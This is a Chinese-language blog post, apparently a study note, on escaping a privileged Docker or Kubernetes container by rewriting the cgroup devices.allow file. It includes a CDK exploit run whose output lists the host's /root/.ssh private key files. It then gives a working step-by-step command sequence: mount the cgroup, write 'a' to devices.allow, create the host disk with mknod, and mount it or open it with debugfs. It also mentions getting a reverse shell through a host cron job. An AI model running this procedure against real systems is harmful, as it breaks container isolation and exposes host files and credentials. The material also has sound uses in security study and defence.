前言

继续学习容器逃逸漏洞,特权容器挂载cgroup,重写device.allow文件以访问设备进行容器逃逸。

漏洞介绍

devices子系统用于配制允许或者阻止cgroup中的task访问某个设备,起到黑白名单的作用,主要包含以下文件:

  1. devices.allow:cgroup中的task能够访问的设备列表,格式为type major:minor access
  2. devices.deny:cgroup 中任务不能访问的设备,和上面的格式相同
  3. devices.list:列出 cgroup 中设备的黑名单和白名单

挂载重写当前容器内的 /sys/fs/cgroup/devices/devices.allow,逃逸特权容器访问宿主机内的文件。

漏洞利用

cdk关于该漏洞的exp

 /tmp docker run -it -v /tmp:/tmp --cap-add="SYS_ADMIN" near/neo4j-test bash
# ./cdk run rewrite-cgroup-devices
2021/01/23 07:28:10 generate shell exploit: /tmp/rewrite-cgroup-devices-exp-dylqyn.sh
Execute Shell:/tmp/rewrite-cgroup-devices-exp-dylqyn.sh finished with output:
2021/01/23 07:28:10 get /sys/fs/cgroup/devices/devices.allow inode id: 955171887
2021/01/23 07:28:10 find cgroup devices.allow file: /sys/fs/cgroup/cgneartest/docker/c254a346291562776f08fd135c267e64eef0f6908578a9eebd97274d543a865f/devices.allow
2021/01/23 07:28:10 get virtblk device ID: 252
2021/01/23 07:28:10 generate shell exploit: /tmp/device-mknod-cmezii.sh
Execute Shell:/tmp/device-mknod-cmezii.sh finished with output:
2021/01/23 07:28:12 now, run 'debugfs cdk_mknod_result' to browse host files.

# debugfs cdk_mknod_result
debugfs 1.42.13 (17-May-2015)
debugfs:  ls -l /root/.ssh
393231   40700 (2)      0      0    4096 22-Nov-2020 15:59 .
 52566   40550 (2)      0      0    4096 23-Jan-2021 07:27 ..
395870  100600 (1)      0      0     746 29-May-2020 06:11 authorized_keys
395829  100644 (1)      0      0     247  7-Aug-2020 07:01 config
395860  100644 (1)      0      0     725 16-Dec-2020 10:53 known_hosts
393227  100600 (1)      0      0    1675 22-Nov-2020 15:59 id_rsa
395831  100644 (1)      0      0     391 22-Nov-2020 15:59 id_rsa.pub

漏洞复现

利用原理

  1. 创建空目录挂载cgroup devices子系统
  2. 确定当前容器对应的子cgroup位置
  3. 设置其devices.allow文件为a
  4. 获得宿主机的设备major和minor
  5. 通过mknod根据设备major和minor手动创建设备文件
  6. 利用debugfs或直接挂载设备文件访问宿主机文件
  7. 设置宿主机定时任务等方式反弹shell

步骤一

mkdir /tmp/dev && mount -t cgroup -o devices devices /tmp/dev

步骤二

如果是k8s环境

mount -l | grep kubepods

# cgroup on /sys/fs/cgroup/systemd/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podd48471c8_48de_11eb_9ca9_246e96cd3098.slice/docker-014c16f0839f7274ec5075332576435c254c214cdc21ca0cec361ad6749aef1a.scope type cgroup (rw,nosuid,nodev,noexec,relatime,xattr,release_agent=/usr/lib/systemd/systemd-cgroups-agent,name=systemd)

cd /tmp/dev/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podd48471c8_48de_11eb_9ca9_246e96cd3098.slice/docker-014c16f0839f7274ec5075332576435c254c214cdc21ca0cec361ad6749aef1a.scope

如果是docker环境

cat /proc/self/cgroup | grep docker | head -1 | sed 's/.*\/docker\/\(.*\)/\1/g'

# 62b8e246d01e978a2cf671a4e67b49782401bd647ae87ad967553598bce7108c
cd/tmp/dev/docker/62b8e246d01e978a2cf671a4e67b49782401bd647ae87ad967553598bce7108c

步骤三

echo a > devices.allow && cd /tmp

步骤四

cat /proc/self/mountinfo | grep /etc | awk '{print $3,$8}' | head -1

# 253:0 xfs

步骤五

mknod host b 253 0

步骤六

## 步骤四会输出major和minor和文件系统类型,如果是ext2/ext3/ext4文件系统可以用debugfs直接看目录,如果是xfs文件系统debugfs不支持,直接挂载看就可以

mkdir /tmp/host_dir && mount host /tmp/host_dir

这样就可以挂载查看宿主机的/etc/hostname文件:

参考链接

https://www.anquanke.com/post/id/256304#h2-13

2 年 后
说点什么吧...